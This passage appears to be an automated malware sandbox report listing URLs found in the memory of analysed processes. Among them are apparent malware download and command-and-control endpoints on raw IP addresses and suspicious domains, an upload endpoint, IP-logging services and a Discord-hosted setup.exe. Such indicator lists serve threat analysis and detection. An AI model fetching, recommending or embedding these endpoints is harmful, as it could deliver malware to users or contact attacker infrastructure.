Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 28 Sep 2024 22:53:27 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Content-Length: 301Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 30 33 2e 31 33 30 2e 31 34 37 2e 32 31 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 103.130.147.211 Port 80</address></body></html>

Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1690067906.0000000003FA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.130.147.211/Files/Channel2.exe
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.130.147.211/Files/Channel2.exeC:
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.130.147.211/Files/Channel2.exeDBK7bm
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.130.147.211/Files/Channel2.exel
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.130.147.211/Files/CheckTool.exe
Source: RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.130.147.211/Files/CheckTool.exe8
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.130.147.211/Files/CheckTool.exeC:
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.130.147.211/Files/CheckTool.exeK
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.130.147.211/Files/Silencer.exe
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.130.147.211/Files/Silencer.exe/
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.130.147.211/Files/Silencer.exeC:
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.130.147.211/Files/tac.exe
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.130.147.211/Files/tac.exeC:
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.130.147.211/Files/tac.exeW
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.95/thebig/stories.exe
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.95/thebig/stories.exeC:
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.95/thebig/stories.exeISelAiW
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.95/thebig/stories.exeS/s9MlP
Source: playglock32x64.exe, 0000000D.00000002.2679705676.00000000008AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.208.158.248/-
Source: playglock32x64.exe, 0000000D.00000002.2679705676.00000000008B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.208.158.248/en-GB
Source: playglock32x64.exe, 0000000D.00000002.2683340314.0000000003580000.00000004.00000020.00020000.00000000.sdmp, playglock32x64.exe, 0000000D.00000002.2679705676.00000000008C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.208.158.248/search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908
Source: playglock32x64.exe, 0000000D.00000002.2679705676.00000000008B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.208.158.248/search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82d
Source: RegAsm.exe, 00000003.00000002.1690067906.0000000003F80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.58.114.223/
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1690067906.0000000003F8B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1690856967.0000000004382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.58.114.223/d/385121
Source: RegAsm.exe, 00000003.00000002.1690067906.0000000003F80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.58.114.223/d/385121%
Source: RegAsm.exe, 00000003.00000002.1690067906.0000000003F8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.58.114.223/d/385121;
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.58.114.223/d/385121C:
Source: RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/
Source: RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/=
Source: RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1690067906.0000000003FB5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1690067906.0000000003F8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/api/wp-admin.php
Source: RegAsm.exe, 00000003.00000002.1690067906.0000000003FB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/api/wp-admin.php3
Source: RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/api/wp-admin.phpH
Source: RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/api/wp-admin.phpR
Source: RegAsm.exe, 00000003.00000002.1688734412.000000000111D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/api/wp-admin.phpT
Source: RegAsm.exe, 00000003.00000002.1690067906.0000000003FB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/api/wp-admin.phpr
Source: RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/api/wp-admin.phprN
Source: RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/api/wp-admin.phpy
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000010DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/api/wp-ping.php
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000010DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/api/wp-ping.phpA
Source: RegAsm.exe, 00000003.00000002.1688734412.000000000111D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/api/wp-ping.phpU
Source: RegAsm.exe, 00000003.00000002.1688734412.0000000001107000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135/l
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000010D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135:80/api/wp-admin.php
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000010D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135:80/api/wp-admin.phpU
Source: RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135:80/api/wp-admin.phpd
Source: RegAsm.exe, 00000003.00000002.1688734412.000000000111D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.91.200.135:80/api/wp-ping.php
Source: tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000002.2103324889.0000000002B50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.66.75.114/add?substr=mixnine&s=three&sub=NOSUBF
Source: tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000002.2103324889.0000000002B50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.66.75.114/add?substr=mixnine&s=three&sub=NOSUBI
Source: RegAsm.exe, 00000003.00000002.1690067906.0000000003F80000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.66.75.114/dl?name=mixnine
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.66.75.114/dl?name=mixnineC:
Source: RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.66.75.114/dl?name=mixninee
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.66.75.114/dl?name=mixninelVz0BoyeRjU78
Source: tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000002.2103324889.0000000002B50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.66.75.114/dll/download
Source: tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000002.2103324889.0000000002B61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.66.75.114/dll/key
Source: tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000002.2103324889.0000000002B61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.66.75.114/dll/key/
Source: tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000002.2102544836.000000000055A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.66.75.114/files/download
Source: tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000002.2102544836.000000000055A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.66.75.114/name
Source: tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000002.2102544836.000000000055A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.66.75.114/namel
Source: tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000002.2102544836.000000000055A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.66.75.114/soft/download
Source: tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000002.2103324889.0000000002B50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.66.75.114/soft/downloadKR
Source: hI6pMK6rYY2urO_lpGyU85DA.tmp, 0000000B.00000002.2680714464.0000000005C54000.00000004.00001000.00020000.00000000.sdmp, playglock32x64.exe, 0000000D.00000000.1610946241.0000000000638000.00000002.00000001.01000000.00000010.sdmp, playglock32x64.exe, 0000000D.00000003.1613682541.0000000002A2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://acritum.com/ocb/
Source: is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	String found in binary or memory: http://crl.certum.pl/cscasha2.crl0q
Source: is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	String found in binary or memory: http://cscasha2.ocsp-certum.com04
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1693465597.0000000001552000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fivevh5pt.top/
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1691472183.0000000001569000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fivevh5pt.top/v1/upload.php
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://marafon.in/dergrherg/setup1.exe
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://marafon.in/dergrherg/setup1.exeC:
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://marafon.in/dergrherg/setup1.exexe
Source: is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	String found in binary or memory: http://repository.certum.pl/cscasha2.cer0
Source: is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	String found in binary or memory: http://s.symcd.com06
Source: is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	String found in binary or memory: http://subca.ocsp-certum.com01
Source: is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000003.2053622076.0000000002C0F000.00000004.00000020.00020000.00000000.sdmp, tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000003.2052522216.000000000305D000.00000004.00000020.00020000.00000000.sdmp, tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000003.2052810858.000000000305D000.00000004.00000020.00020000.00000000.sdmp, tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000003.2053688783.0000000002BB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174
Source: is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	String found in binary or memory: http://www.certum.pl/CPS0
Source: hI6pMK6rYY2urO_lpGyU85DA.tmp, hI6pMK6rYY2urO_lpGyU85DA.tmp, 0000000B.00000000.1595851953.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.innosetup.com/
Source: is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	String found in binary or memory: http://www.openssl.org/f
Source: is-5ANFC.tmp.11.dr	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: hI6pMK6rYY2urO_lpGyU85DA.exe, 00000007.00000003.1572629914.00000000023A0000.00000004.00001000.00020000.00000000.sdmp, hI6pMK6rYY2urO_lpGyU85DA.exe, 00000007.00000003.1587610572.0000000002178000.00000004.00001000.00020000.00000000.sdmp, hI6pMK6rYY2urO_lpGyU85DA.tmp, hI6pMK6rYY2urO_lpGyU85DA.tmp, 0000000B.00000000.1595851953.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.remobjects.com/ps
Source: hI6pMK6rYY2urO_lpGyU85DA.exe, 00000007.00000003.1572629914.00000000023A0000.00000004.00001000.00020000.00000000.sdmp, hI6pMK6rYY2urO_lpGyU85DA.exe, 00000007.00000003.1587610572.0000000002178000.00000004.00001000.00020000.00000000.sdmp, hI6pMK6rYY2urO_lpGyU85DA.tmp, 0000000B.00000000.1595851953.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.remobjects.com/psU
Source: file.exe, 00000000.00000002.1417872247.0000000004025000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, RegAsm.exe, 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749077248.00000000036B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Ifh3vuF2SF2LvHombSP7ZGRi.exe, 0000000A.00000002.1762556798.0000000000CAA000.00000002.00000001.01000000.0000000A.sdmp, CheckTool[1].exe.3.dr	String found in binary or memory: https://api.midtrans.comGetUserDefaultLocaleNameinvalid
Source: Ifh3vuF2SF2LvHombSP7ZGRi.exe, 0000000A.00000002.1762556798.0000000000CAA000.00000002.00000001.01000000.0000000A.sdmp, CheckTool[1].exe.3.dr	String found in binary or memory: https://api.sandbox.midtrans.comcrypto/aes:
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000010DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org/
Source: RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1688734412.00000000010DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org/?format=json
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000010DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org/?format=jsonb
Source: RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org:443/?format=json
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/
Source: RegAsm.exe, 00000003.00000002.1690067906.0000000003FDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/6
Source: RegAsm.exe, 00000003.00000002.1690067906.0000000003FAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/1274634716451967060/1289665540448583732/setup.exe?ex=66f9a621
Source: RegAsm.exe, 00000003.00000002.1690067906.0000000003FF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachmtachm
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749077248.00000000036B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749077248.00000000036B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749077248.00000000036B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	String found in binary or memory: https://d.symcb.com/rpa0.
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749077248.00000000036B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749077248.00000000036B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749077248.00000000036B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000003.2053622076.0000000002C0F000.00000004.00000020.00020000.00000000.sdmp, tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000003.2052522216.000000000305D000.00000004.00000020.00020000.00000000.sdmp, tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000003.2052810858.000000000305D000.00000004.00000020.00020000.00000000.sdmp, tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000003.2053688783.0000000002BB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://g-cleanit.hk
Source: IZImiIFXXrvtVOHFozZW.dll.6.dr	String found in binary or memory: https://gcc.gnu.org/bugs/):
Source: BitLockerToGo.exe, 00000032.00000002.1779130970.0000000002692000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ghostreedmnu.shop/
Source: BitLockerToGo.exe, 00000032.00000002.1779130970.00000000026B1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000032.00000003.1768755104.00000000026B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ghostreedmnu.shop/api
Source: BitLockerToGo.exe, 00000032.00000002.1779130970.0000000002692000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ghostreedmnu.shop/m
Source: RegAsm.exe	String found in binary or memory: https://ipgeolocation.io/
Source: RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/(
Source: RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/R)dn
Source: file.exe, 00000000.00000002.1417872247.0000000004025000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/https://ipgeolocation.io/::
Source: RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.33
Source: RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/8.46.123.33Z
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplog.co/
Source: RegAsm.exe, 00000003.00000002.1688734412.00000000011B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplog.co/%M
Source: RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplog.co/1S3fd7
Source: RegAsm.exe, 00000003.00000002.1688734412.000000000113C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplog.co/1S3fd7&
Source: RegAsm.exe, 00000003.00000002.1690067906.0000000003FB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplog.co/p
Source: RegAsm.exe, 00000003.00000002.1690067906.0000000003FA2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplog.co:443/1S3fd7S
Source: tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000003.2053622076.0000000002C0F000.00000004.00000020.00020000.00000000.sdmp, tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000003.2052522216.000000000305D000.00000004.00000020.00020000.00000000.sdmp, tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000003.2052810858.000000000305D000.00000004.00000020.00020000.00000000.sdmp, tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000003.2053688783.0000000002BB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1Pz8p7
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000000.1571265793.00000000013E2000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: https://serviceupdate32.com/update
Source: is-O04L0.tmp.11.dr, is-5ANFC.tmp.11.dr	String found in binary or memory: https://www.certum.pl/CPS0
Source: BitLockerToGo.exe, 00000032.00000003.1768734098.000000000270A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000032.00000002.1779130970.0000000002692000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000032.00000003.1768755104.00000000026B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing
Source: BitLockerToGo.exe, 00000032.00000003.1768734098.000000000270A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000032.00000003.1768755104.00000000026B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.cloudflare.com/learning/access-management/phishing-attack/
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749077248.00000000036B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749077248.00000000036B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
